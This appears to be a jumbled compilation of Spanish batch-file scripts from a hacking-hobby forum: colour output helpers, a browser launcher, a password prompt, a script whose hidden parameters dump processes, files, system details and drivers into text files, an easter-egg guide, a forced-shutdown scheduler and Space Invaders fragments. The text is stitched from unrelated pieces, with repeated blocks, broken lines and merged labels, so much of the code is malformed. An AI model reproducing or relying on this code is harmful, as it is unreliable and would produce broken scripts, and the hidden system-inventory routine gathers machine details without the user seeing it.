ECHO.!C!|FINDSTR /R /I "\<[0-9A-F][0-9A-F]\>" > NUL || (
ECHO. DEBE ESPECIFICARSE UN COLOR HEXADECIMAL.
ECHO. COLOR /?
EXIT /B 1
)
SET /A "TAM=0"
SET "L1=%~2"
SET "L2=%~3"
SET "L3=%~4"
IF NOT DEFINED L2 (
SET "L1="
SET "L2=%~2"
SET "L3="
)
CALL :CLEAN C
CALL :CLEAN L1
CALL :CLEAN L2
CALL :CLEAN L3
IF DEFINED L2 CALL :LEN "%L2%"
IF %TAM% GTR 150 (
ECHO.
ECHO.TEXTO COLOREADO REDUCIDO A 150 CARACTERES DE LONGITUD
ECHO.
)
IF DEFINED L2 SET "L2=%L2:~0,150%"
IF DEFINED L2 ECHO.%L3%>"%L2%"
0>NUL SET /P "_=%L1%"
FINDSTR.EXE /A:%C% /R "^" "*"
POPD
IF EXIST "%USERPROFILE%\COLOR" DEL /F /Q /A "%USERPROFILE%\COLOR" > NUL 2>&1
IF EXIST "%USERPROFILE%\COLOR\" RD /S /Q "%USERPROFILE%\COLOR" > NUL 2>&1
:LEN
SETLOCAL ENABLEEXTENSIONS DISABLEDELAYEDEXPANSION
SET /A CONTL=0
SET "WORDL=%~1"
:_LOOPL
IF NOT DEFINED WORDL (GOTO :_ENDL)
SET "WORDL=%WORDL:~1%"
SET /A CONTL +=1
GOTO :_LOOPL
:_ENDL
ENDLOCAL & SET /A TAM=%CONTL%
EXIT /B 0
:CLEAN
::deja solo caracteres dentro del rango a-z 0-9
::y espacio en el contenido de las variables.
::version 2.0
::Version modificada con mas caracteres
set/p resp=
if not defined resp (
goto:main)
if ["%resp%"]==["1"] (start www.facebook.com
goto:main)
if ["%resp%"]==["2"] (start www.google.com
goto:main)
if ["%resp%"]==["3"] (start www.youtube.com
goto:main)
if ["%resp%"]==["4"] (start www.hackxcrack.es
goto:main)
if ["%resp%"]==["5"] (goto:manual)
if ["%resp%"]==["6"] (goto:salir)
if not ["%resp%"]==["1"] if not ["%resp%"]==["2"] if not ["%resp%"]==["3"] if not
["%resp%"]==["4"] if not ["%resp%"]==["5"] if not ["%resp%"]==["6"] (
echo Ingresaste una opcion invalida
echo.
pause
goto:main)
:manual
echo Entonces ingresa el sitio que quieres ver manualmente
echo Ejemplo: www.misitio.com
set/P manual="Escrive aqui: "
start %manual%
goto:main
:salir
cls
echo Nos vemos !!
echo.
pause && exit
cls
set/P pass="Para usar el programa ingresa el Pass: "
If not defined pass (goto:main)
if ["%pass%"]==["cris"] (goto:bien) else (goto:mal)
:mal
cls
echo Incorrecta, intentalo denuevo
echo.
pause
goto:loggin
:bien
cls
echo Bien hecho !!
echo.
echo ...Puedes continuar...
pause>>null
Cuando ejecutes el bat veras que ademas crea un archivo llamado "leeme.txt" donde
muestra la ayuda del programa y como usar los parametros, por asi decir "funciones
ocultas" del bat.
Si quieres usar todas las fuciones debes abrir el bat desde la ventana CMD (estando en la
ruta) y escrivir "bilolo quede pal pico tanto fumar marihuana" jajaja asi tal cual y reciviras
muuuucha mas informacion dentro de info.txt ademas de crear all.txt con mas info del
sistema aadiendo una firma extra a info.txt y un grafico en colores al CMD
... waaa no sera mucho lucho ?? ;)
@echo off
color 0a
title bilolo marihuana
echo.
echo.
echo.
echo
#
#
echo
##################
echo
#
#
echo
# Bilolo #
echo
#
By
#
echo
# Halsenheim #
echo
#
#
echo
##################
echo
#
XD
#
echo.
echo.
echo.
echo.
echo INICIA EL ESCANEO DE INFORMACION
echo POR FAVOR ESPERE...
echo ----------------------------------------------------------------- >> info.txt
echo. >> info.txt
echo. >> info.txt
echo
#
# >> info.txt
echo
################## >> info.txt
echo
#
# >> info.txt
echo
# Bilolo # >> info.txt
echo
#
By
# >> info.txt
echo
# Halsenheim! # >> info.txt
echo
#
# >> info.txt
echo
################## >> info.txt
echo
#
XD
# >> info.txt
echo. >> info.txt
echo. >> info.txt
echo INICIA EL PROGRAMA DE INFORMACION... >>info.txt
echo --------------------------- >> info.txt
ECHO --------------------------- >> info.txt
>>leeme.txt
echo del uno a 6, por ejemplo, estando en la ruta del archivo escribes: >>leeme.txt
echo. >>leeme.txt
echo "bilolo quede pal pico tanto fumar marihuana" >>leeme.txt
echo. >>leeme.txt
echo siendo bilolo el nombre del programa a ejecutar y >>leeme.txt
echo desde "quede" hasta "marihuana" parametros del uno al 6. >>leeme.txt
echo ingresandolos por orden reciviras la funcion de auditoria >>leeme.txt
echo concerniente a toda la informacion del PC, junto con >>leeme.txt
echo un colorido huevo de pascua de la naturaleza XD >>leeme.txt
echo. >>leeme.txt
echo Recuerda que los parametros estan en orden de primero ultimo, >>leeme.txt
echo no puedes saltarte uno. A continuacion sus funciones especificas:
>>leeme.txt
echo. >>leeme.txt
echo bilolo : Nombre del programa, debes ingresarlo primero para que se ejecute
>>leeme.txt
echo quede
: Informacion de procesos, muestra todos los programas que se
estan ejecutando, >>leeme.txt
echo
como antivirus, navegador y todo el resto >>leeme.txt
echo pal
: Informacion del arbol completo, muestra todos los archivos y
carpetas existentes >>leeme.txt
echo pico
: Muestra la informacion detallada del Sistema operativo desde el
punto de vista de WMIC, >>leeme.txt
echo
para ello crea un nuevo archivo llamado all.txt, con el fin de ser
comparado con info.txt >>leeme.txt
echo
en la seccion de informacion del sistema bajo el punto de vista de
Systeminfo >>leeme.txt
echo tanto
: Informacion del sistema operativo, similar al archivo all.txt, pero
queda dentro de info.txt >>leeme.txt
echo
y posee un formato que mejora la lectura, debe ser leido junto a all.txt
para complementarse >>leeme.txt
echo fumar
: Lista detallada de los drivers instalados, entregando informacion
completa para auditorias ;) >>leeme.txt
echo marihuana : Este es un huevo de pascua, usese solo si desea experimentarlo,
muestra un grafico de una hoja >>leeme.txt
echo
dentro de la consola con distintos colores... no tiene utilidad mas que
adorno >>leeme.txt
echo. >>leeme.txt
echo. >>leeme.txt
echo. >>leeme.txt
echo Eso es todo, >>leeme.txt
echo nos leemos !! >>leeme.txt
echo. >>leeme.txt
echo Halsenheim. osmendezr1@hotmail.com>>leeme.txt
pause
goto:salir
:wau
echo. >> info.txt
echo FIRMA >> info.txt
echo. >> info.txt
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo. >> info.txt
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
info.txt
SETLOCAL ENABLEEXTENSIONS
CALL :CECHO 0A " "
CALL :CECHO 0A " "
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0C "
"
CALL :CECHO 0C "
"
CALL :CECHO 0C "
"
CALL :CECHO 0C "
"
CALL :CECHO 0C "
"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E " "
CALL :CECHO 0A " "
::--------------------
echo
echo
echo
Marihuarte
By Halsenheim
::-------------------PAUSE
EXIT /B 0
:CECHO
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
PUSHD "%USERPROFILE%\"
IF EXIST COLOR DEL /F /Q /A COLOR > NUL 2>&1
IF EXIST COLOR\ RD /S /Q COLOR > NUL 2>&1
MD COLOR
CD COLOR
SET
SET
SET
SET
"C="
"L1="
"L2="
"L3="
SET "C=%~1"
ECHO.!C!|FINDSTR /R /I "\<[0-9A-F][0-9A-F]\>" > NUL || (
ECHO. DEBE ESPECIFICARSE UN COLOR HEXADECIMAL.
ECHO. COLOR /?
EXIT /B 1
)
SET /A "TAM=0"
SET "L1=%~2"
SET "L2=%~3"
SET "L3=%~4"
IF NOT DEFINED L2 (
SET "L1="
SET "L2=%~2"
SET "L3="
)
CALL :CLEAN C
CALL :CLEAN L1
CALL :CLEAN L2
CALL :CLEAN L3
IF DEFINED L2 CALL :LEN "%L2%"
IF %TAM% GTR 150 (
ECHO.
ECHO.TEXTO COLOREADO REDUCIDO A 150 CARACTERES DE LONGITUD
ECHO.
)
IF DEFINED L2 SET "L2=%L2:~0,150%"
IF DEFINED L2 ECHO.%L3%>"%L2%"
0>NUL SET /P "_=%L1%"
FINDSTR.EXE /A:%C% /R "^" "*"
POPD
IF EXIST "%USERPROFILE%\COLOR" DEL /F /Q /A "%USERPROFILE%\COLOR" > NUL
2>&1
IF EXIST "%USERPROFILE%\COLOR\" RD /S /Q "%USERPROFILE%\COLOR" > NUL
2>&1
:LEN
SETLOCAL ENABLEEXTENSIONS DISABLEDELAYEDEXPANSION
SET /A CONTL=0
SET "WORDL=%~1"
:_LOOPL
IF NOT DEFINED WORDL (GOTO :_ENDL)
SET "WORDL=%WORDL:~1%"
SET /A CONTL +=1
GOTO :_LOOPL
:_ENDL
ENDLOCAL & SET /A TAM=%CONTL%
EXIT /B 0
:CLEAN
@SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
@SET "V=%*"
@SET "S=!%V%!"
@IF NOT DEFINED S EXIT /B 1
@SET "V="
:LOOP
@FOR %%* IN (
""ABECHILMNRSTUY
) DO @IF /I "!S:~0,1!" EQU "%%~*" SET "V=!V!!S:~0,1!"
@SET "S=!S:~1!"
@IF DEFINED S GOTO :LOOP
@(ENDLOCAL & SET %*=%V%)
@SETLOCAL ENABLEEXTENSIONS
@EXIT /B 0
:salir
msg * Eso fue todo !!
echo.
echo 2.- SACAR EL VALOR DE LAS RESISTENCIAS
echo.
set /p ver=
ELIJE UNA OPCION :
if %ver%== 1 goto ver
if %ver%== 2 goto conv
if not defined %ver% goto ini
:ver
cls
echo
+++++++++++++++++
echo
CODIGO DE COLORES
echo
=================
echo
NEGRO == 0
echo.
echo
CAFE == 1
echo.
echo
rojo == 2
echo.
echo
naranja == 3
echo.
echo
amarillo == 4
echo.
echo
verde == 5
echo.
echo
azul == 6
echo.
echo
violeta == 7
echo.
echo
gris == 8
echo.
echo
blanco == 9
pause>nul
goto ini
:conv
cls
set negro == 0
set cafe == 1
set rojo == 2
set naranja ==3
set amarillo == 4
set verde == 5
set azul == 6
set violeta == 7
set gris == 8
set blanco == 9
cls
set /p v= introduce el color de la primera franja :
if %v%==negro set v=1
if %v%==cafe (set v=1)
if %v%==rojo (set v=2)
if %v%==naranja (set v=3)
if %v%==amarillo (set v=4)
if %v%==verde (set v=5)
if %v%==azul (set v=6)
echo.
echo.
echo 1.- VER CODIGO DE COLORES
echo.
echo 2.- SACAR EL VALOR DE LAS RESISTENCIAS
echo.
set /p ver=
ELIJE UNA OPCION :
if %ver%== 1 goto ver
if %ver%== 2 goto conv
if not defined %ver% goto ini
:ver
cls
echo
+++++++++++++++++
echo
CODIGO DE COLORES
echo
=================
echo
NEGRO == 0
echo.
echo
CAFE == 1
echo.
echo
rojo == 2
echo.
echo
naranja == 3
echo.
echo
amarillo == 4
echo.
echo
verde == 5
echo.
echo
azul == 6
echo.
echo
violeta == 7
echo.
echo
gris == 8
echo.
echo
blanco == 9
pause>nul
goto ini
:conv
cls
set negro == 0
set cafe == 1
set rojo == 2
set naranja ==3
set amarillo == 4
set verde == 5
set azul == 6
set violeta == 7
set gris == 8
set blanco == 9
cls
set /p v= introduce el color de la primera franja :
if %v%==negro set v=1
if %v%==cafe (set v=1)
if %v%==rojo (set v=2)
if %v%==naranja (set v=3)
color
echo.
echo.
echo.
echo.
echo.
Interfaz Grafica
echo.
echo.
En Batch
echo.
echo.
By LeoN
echo.
echo.
echo.
echo.
echo.
echo.
-.^^
echo.
pause >nul
exit
9.-Mi propio grafico en batch XD (esto lo aprendi cuando lei el tuto de LeoN) :)
@echo off
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
pause
jeje quise mostrar el resultado porque me gusto mucho como quedo la imagen ademas si
alguien no puede encontrar el huevo es ese :) , por cierto, si te preguntas porque lo
publique como exe en el foro es porque no tiene gracia poner un huevo de pascua en un
programa y que todos lo descubran por el codigo en lugar de verlo desde el exe que si
tiene mucha gracia XD.
De todos modos ahi va el code:
@echo off
Title Huevos de pascua
if ["%1"]==["halsenheim"] (goto:huev) else (goto:contin)
::-----------------------------:: MARCA PERSONAL
:huev
SETLOCAL ENABLEEXTENSIONS
CALL :CECHO 0A " "
CALL :CECHO 0A " "
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0C "
"
CALL :CECHO 0C "
"
CALL :CECHO 0C "
"
CALL :CECHO 0C "
"
CALL :CECHO 0C "
"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E " "
CALL :CECHO 0A " "
::-------------------echo
echo
Marihuarte
By Halsenheim
echo
echo.
echo La paciencia es la llave de toda ciencia !!
::-------------------PAUSE >> null
EXIT /B 0
:CECHO
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
PUSHD "%USERPROFILE%\"
IF EXIST COLOR DEL /F /Q /A COLOR > NUL 2>&1
IF EXIST COLOR\ RD /S /Q COLOR > NUL 2>&1
MD COLOR
CD COLOR
SET
SET
SET
SET
"C="
"L1="
"L2="
"L3="
SET "C=%~1"
ECHO.!C!|FINDSTR /R /I "\<[0-9A-F][0-9A-F]\>" > NUL || (
ECHO. DEBE ESPECIFICARSE UN COLOR HEXADECIMAL.
ECHO. COLOR /?
EXIT /B 1
)
SET /A "TAM=0"
SET "L1=%~2"
SET "L2=%~3"
SET "L3=%~4"
IF NOT DEFINED L2 (
SET "L1="
SET "L2=%~2"
SET "L3="
)
CALL :CLEAN C
CALL :CLEAN L1
CALL :CLEAN L2
CALL :CLEAN L3
IF DEFINED L2 CALL :LEN "%L2%"
IF %TAM% GTR 150 (
ECHO.
ECHO.TEXTO COLOREADO REDUCIDO A 150 CARACTERES DE LONGITUD
ECHO.
)
IF DEFINED L2 SET "L2=%L2:~0,150%"
IF DEFINED L2 ECHO.%L3%>"%L2%"
0>NUL SET /P "_=%L1%"
FINDSTR.EXE /A:%C% /R "^" "*"
POPD
IF EXIST "%USERPROFILE%\COLOR" DEL /F /Q /A "%USERPROFILE%\COLOR" > NUL 2>&1
IF EXIST "%USERPROFILE%\COLOR\" RD /S /Q "%USERPROFILE%\COLOR" > NUL 2>&1
:LEN
SETLOCAL ENABLEEXTENSIONS DISABLEDELAYEDEXPANSION
SET /A CONTL=0
SET "WORDL=%~1"
:_LOOPL
IF NOT DEFINED WORDL (GOTO :_ENDL)
SET "WORDL=%WORDL:~1%"
SET /A CONTL +=1
GOTO :_LOOPL
:_ENDL
ENDLOCAL & SET /A TAM=%CONTL%
EXIT /B 0
:CLEAN
@SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
@SET "V=%*"
@SET "S=!%V%!"
@IF NOT DEFINED S EXIT /B 1
@SET "V="
:LOOP
@FOR %%* IN (
""ABECHILMNRSTUY
) DO @IF /I "!S:~0,1!" EQU "%%~*" SET "V=!V!!S:~0,1!"
@SET "S=!S:~1!"
@IF DEFINED S GOTO :LOOP
@(ENDLOCAL & SET %*=%V%)
@SETLOCAL ENABLEEXTENSIONS
@EXIT /B 0
::-----------------------------::--------------------:contin
:: PRESENTACION
echo.
echo.
echo.
echo.
echo.
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo.
echo.
echo.
echo.
echo.
echo.
pause
#
#
##################
#
#
# Eggilus #
#
By
#
# Halsenheim #
#
#
##################
#
XD
#
::--------------------cls
echo
Que son los huevos de pascua?
echo.
echo Los huevos de pascua en informatica son conocido como sorpresas ocultas por
echo los diseadores de sistemas operativos, programas e incluso en paginas web...
echo.
echo Google,por ejemplo,ha sorprendido ultimamente por su gran cantidad de
echo trucos y opciones que pocos conocen y a medida que el tiempo pasa se
echo divulgan entre la gente, en resumen son como los trucos de los juegos,
echo pero en software. XD
echo.
echo.
pause
:main
cls
:: MENU:
echo Que te area te llama la atencion?
echo.
echo 1-Eggs de Google
echo 2-Eggs de Microsoft
echo 3-Eggs de programas varios
echo 4-Egg dentro de este programa (y a poco creias que no le puse uno jeje)
echo 5-Salir
set/p men=
if not defined men (goto:main)
if ["%men%"]==["1"] (goto:goog)
if ["%men%"]==["2"] (goto:micro)
if ["%men%"]==["3"] (goto:vari)
if ["%men%"]==["4"] (goto:info)
if ["%men%"]==["5"] (goto:salir)
if not ["%men%"]==["1"] if not ["%men%"]==["2"] if not ["%men%"]==["3"] if not
["%men%"]==["4"] if not ["%men%"]==["5"] ( goto:main )
::--------------------:goog
cls
echo
HUEVOS DE PASCUA EN GOOGLE
echo.
echo 1-La horda de los Zerg
echo 2-La pantalla inclinada
echo 3-La calculadora google (utilidad)
echo 4-Pantalla en giro 360
echo 5-Google victima de la gravedad
echo 6-EXTRA: El juego de la seriente (Snake) en youtube
echo 7-Volver al menu principal
echo.
set/p gom="Escoge un numero: "
if not defined gom (goto:goog)
if ["%gom%"]==["1"] (goto:zerg)
if ["%gom%"]==["2"] (goto:incli)
if ["%gom%"]==["3"] (goto:calc)
if ["%gom%"]==["4"] (goto:360)
if ["%gom%"]==["5"] (goto:gravi)
if ["%gom%"]==["6"] (goto:extr)
if ["%gom%"]==["7"] (goto:main)
if not ["%gom%"]==["1"] if not ["%gom%"]==["1"] if not ["%gom%"]==["1"] if not
["%gom%"]==["1"] if not ["%gom%"]==["1"] if not ["%gom%"]==["1"] if not ["%gom
%"]==["1"] (goto:goog)
:Zerg
cls
echo
La horda de los Zerg
echo.
echo Este es un juego de disparo en el cual las letras "o" de google invaden el
echo resultado de tu busqueda devorando todos tus resultados, lo unico que puedes
echo hacer es intentar matar al interminable batallon zerg haciendo click en ellos,
echo esta es una parodia del juego "Star Craft" donde los zerg son hordas de aliens.
echo.
pause
start http://www.google.es/search?q=zerg+rush&rls=com.microsoft:es&ie=UTF8&oe=UTF-8&startIndex=&startPage=1
goto:goog
:incli
cls
echo
echo.
echo En google busca "Tilt", te aparecera algo como esto...
echo.
pause >>null
start http://www.google.es/search?q=tilt&rls=com.microsoft:es&ie=UTF-8&oe=UTF8&startIndex=&startPage=1
goto:goog
:calc
cls
echo
La calculadora (utilidad)
echo.
echo Esta utilidad es bastante interesante, no es un huevo de pascua, sin embargo
echo me parecio necesario que la conocieras. Es una calculadora con opcion de octal,
echo hexadecimal y vinario como tipos de numeros, sin mencionar las 4 funciones
echo basicas de la matematicas en numeros enteros y muchas cosas mas.
echo te dejo la tare de desarrollarte en ella y de paso conoces las demas
echo aplicaciones que google tiene para ti..
echo.
pause >> null
start http://www.google.es/intl/es-419/help/features.html#calculator
goto:goog
:360
cls
echo
La pantalla haciendo un giro en 360:
echo.
echo Si escribimos "Do a barrel roll" en la barra de busquedas toda la pantalla
echo dara una vuelta..
pause >> null
start http://www.google.es/search?q=do+a+barrel+roll&rls=com.microsoft:es&ie=UTF8&oe=UTF-8&startIndex=&startPage=1
goto:goog
:gravi
cls
echo
Google Gravity:
echo.
echo si lo escribimos y pulsamos el botn voy a tener suerte aplica gravedad a
echo todos los elementos del buscador, cayendo por su propio peso en la parte baja
echo de la pantalla. Lo mismo ocurre con los resultados de bsquedas realizadas as.
echo.
pause
start http://mrdoob.com/projects/chromeexperiments/google-gravity/
goto:goog
:extr
cls
echo
El "juego de la serpiente" en youtube
echo.
echo Haz notado que mientras se carga un video aparece una especie de circulo
echo incompleto girando? ... pues no esperes mas !. Entra a youtube, pon cualquier
echo video y cuando aparezca el circulo pon pausa y mueve las teclas con forma de
echo flecha de tu teclado, veras que aparece el mitico juego de la serpiente.
echo.
echo Anda intentalo !!
pause >> null
start www.youtube.com
goto:goog
::--------------------:micro
cls
echo
Huevos de pascua en Microsoft
echo.
echo 1-Las torres gemelas de word
echo 2-Pelicula Star Wars en cmd
echo 3-Volver almenu principal
echo.
set/p win="Escoge un numero: "
if not defined win (goto:micro)
if ["%win%"]==["1"] (goto:torre)
if ["%win%"]==["2"] (goto:tarw)
if ["%win%"]==["3"] (goto:main)
if not ["%win%"]==["1"] if not ["%win%"]==["2"] if not ["%win%"]==["3"] (goto:micro)
:torre
cls
echo
Microsoft Word - Torres Gemelas
echo.
echo.
echo 1. Abre Microsoft Word.
echo 2. Escribe en Mayusculas Q33NY (Q33 es el Nombre del Primer Avion que
echo se estrello en las Torres Gemelas y NY las siglas de New York)
echo 3. Aumenta el Tamao de la Letra a 72.
echo 4. Cambia la Fuente de la Letra a Wingdings.
echo.
echo Podras Ver una Sorpresita en este Programa...
pause >> null
goto:micro
:tarw
cls
echo
Pelicula de Star Wars en cmd Windows
echo.
echo Para usar este truco tienes que tener instalado / habilitado el telnet
:open
cls
echo
Open office
echo.
echo star wars:
echo =GAME("StarWars")
echo.
echo Escribe ese texto en una hoja de calculo de open office y presiona enter,
echo veras una version del juego space invaders, con personajes como terminator
echo y otros mas, que lo disfrutes XD.
echo.
echo.
echo El team open 1:
echo =StarCalcTeam()
echo.
echo Escribe ese texto en una hoja de calculo de open office y presiona enter,
echo veras una foto del team de calculo de open office :)
echo.
echo.
echo El team open 2:
echo StarWriterTeam
echo.
echo Escribelo lo anterior en una hoja de procesamiento de texto open office y
echo presiona "f3" , veras al team encargado del procesador de texto open XD
pause
goto:vari
:wrar
cls
echo
Efectos en el Logo de WinRAR:
echo.
echo.
echo 1-Efecto:
echo.
echo 1. Abre WinRAR.
echo 2. Clic en Ayuda, Acerca de WinRAR.
echo 3. Haz Clic en los Libros y vers como Caen.
echo.
echo.
echo 2-Efecto:
echo.
echo 1. Abre WinRAR.
echo 2. Clic en Ayuda, Acerca de WinRAR.
echi 3. Haz Clic en el Logo y vers Moverse el Agua de la Playa.
echo.
echo.
echo 3-Efecto:
echo.
echo 1. Abre WinRAR.
echo 2. Clic en Ayuda, Acerca de WinRAR.
echo 3. Pulsa la Tecla Shift + Clic en el Logo y vers un Barco de Vela.
echo.
pause
goto:vari
:utorn
cls
echo
Utorrent
echo.
echo.
echo Si tienes utorent instalado en tu pc, ve a "acerca de uTorrent" y
echo presiona la tecla T, ah mismo se abre una nueva ventana con el
echo Tetris para jugar.
echo.
pause
goto:vari
::---------------------------------:info
cls
echo
Como ver el huevo de pascua de este programa
echo.
echo Sigue estos pasos y te revelare mi propio huevo de pascua XD
echo.
echo 1- Abre una ventana cmd, o consola Windows, como quieras decirle...
echo 2- Tienes que acceder a la ruta donde guardaste el programa por medio
echo de "cd", si te complica guarda el programa en "mis documentos"
echo 3- Escrive Eggilus.exe si tienes el exe o Egg.bat ti tienes el bat
echo seguido de la palabra clave o "comando oculto", en este caso sera
echo "halsenheim" asi todo junto.
echo.
echo RESULTADO: abrira un simpatico dibujillo :) espero te guste !!
echo.
pause
goto:main
:salir
pause && exit
:ini
cls
echo Como deseas apagar windows?
echo.
echo 1 Apagar con opciones de tiempo predefinidas
echo 2 Apagar ingresando el tiempo manualmente (avanzado)
echo 3 Apagar ahora !
echo 4 Cancelar cuenta regresiva (cancelar programacion previa)
echo 5 Salir sin realizar ninguna accion
echo.
set/P opc="Ingresa el numero segun tu eleccion: "
if not defined opc (goto:ini)
if ["%opc%"]==["1"] (goto:predef)
if ["%opc%"]==["2"] (goto:man)
if ["%opc%"]==["3"] (shutdown -s -f -t 2
:man
set/p min= "Ingresa el tiempo en minutos: "
set/a mul=min%*60
echo entonces el equipo se apagara en %min% minutos
shutdown -s -f -t %mul%
cls
pause>>null
:salir
cls
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo
GRACIAS POR USAR ESTE PROGRAMA!!
echo.
pause
cls
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo
Si tienes alguna duda porfavor hazmela saver en:
echo
- www.hackxcrak.es usuario halsenheim (mensaje interno)
echo
- mail: osmendezr1@hotmail.com
echo
- O en el mismo post publicado en hackxcrack ;)
echo.
pause
cls
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo
O si me puedes ayudar a aprender mas o dar sugerencias?
echo
SE AGRADECERIA MUCHO !! :D
echo
----AGRADECIMIENTOS---echo.
echo
Menrva y Facu, que me ayudaron en un bug clave para este batch
echo.
echo Pulsa una tecla para continuar...
Goto :Graphic
:Mov_D
If "%BoundD%"=="True" Goto :Eof
Set "BoundI=False"
Set "P=0"
For %%a in (%Car%) do (
Set /a P+=1
Call :MovX+ %%a Car!P!
)
Set "Car=%Car1%,%Car2%,%Car3%,%Car4%,%Car5%,%Car6%,%Car7%"
Set "CurPos=%Car1%"
Goto :Eof
:Mov_I
If "%BoundI%"=="True" Goto :Eof
Set "BoundD=False"
Set "P=0"
For %%a in (%Car%) do (
Set /a P+=1
Call :MovX- %%a Car!P!
)
Set "Car=%Car1%,%Car2%,%Car3%,%Car4%,%Car5%,%Car6%,%Car7%"
Set "CurPos=%Car1%"
Goto :Eof
:MovX+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if !%~1!== set %~1=%Last%
set /a MovX=%%p+1
call set Last=%%X!MovX!Y%%q%%
If "%Last%"=="" (Goto :Lost)
set X!MovX!Y%%q=
set %2=X!MovX!Y%%q
if !P!==7 (if "%%p"=="%LimD%" Set BoundD=True)
)
Goto :Eof
:MovXfor /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if !%~1!== set %~1=%Last%
set /a MovX=%%p-1
call set Last=%%X!MovX!Y%%q%%
If "%Last%"=="" (Goto :Lost)
set X!MovX!Y%%q=
set %2=X!MovX!Y%%q
if !P!==7 (if "%%p"=="%LimI%" Set BoundI=True)
)
Goto :Eof
:Abajo
If "%Mov%"=="55" Goto :Win
Set /a Mov=Mov+1
For /l %%d in (0,1,%LimY%) do (Set LN_%%d=!Lin_%%d:~%Mov%!)
+
Set Lin_1=
+
Set Lin_2=
+
Set Lin_3=
+
Set Lin_4=
+
Set Lin_5=
+
Set Lin_6=
+
Set Lin_7=
+
Set Lin_8=
+
Set Lin_9=
+
Set Lin_10=
+
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Goto :Eof
:NoKey
Cls
echo.
echo. Cargando...
call :Keyboard
Goto :Eof
:Keyboard
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
ren keyboard.dat "keyboard.exe"
Goto :Eof
15.- Space invader en Batch
@Echo off
@title Space Invaders v 1
@mode con cols=29 lines=25
:: Batch Game - Space Invaders v 1
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010
Choice /N /T:Y,1 >Nul 2>&1
If "%Errorlevel%"=="9009" (Echo. CHOICE command not found&Pause&Exit)
Set "Game=%0"
Call :Logo
:Menu
Cls
Echo.
Echo.
Echo. Space Invaders v 1
Echo.
Echo.
:MovPC
Set /a "Turn+=1"
Set /a "Dir=(%Turn% %% 6)+1"
If "%Dir%"=="1" Call :MovS "Invaders"
If "%Dir%"=="2" Call :MovS "Invaders"
If "%Dir%"=="3" Call :MovS "Invaders"
If "%Dir%"=="4" Call :MovS "Invaders"
If "%Dir%"=="5" Call :MovS "Invaders"
If "%Dir%"=="6" Call :MovS "Invaders"
Goto :Eof
::::::::::::::::::::::::::
"Invader"
"Invader"
"Invader"
"Invader"
"Invader"
"Invader"
"-" "L"
"-" "L"
"-" "L"
"+" "R"
"+" "R"
"+" "R"
:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::
:MovS
Set "TmpTB="
Set "TmpTable=!%~1!"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X!%~4Bound!">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "%~31" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (!%~1!) do (Set "%%b=!%~2!")
Goto :Eof
))
Set "%~1=%TmpTB:~1%"
For %%d in (!%~1!) do (Set "%%d=!%~2!")
Goto :Eof
:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof
:::::::::::::::::::::::::
:Key.A
If not defined %1 Goto:Eof
Set "c="
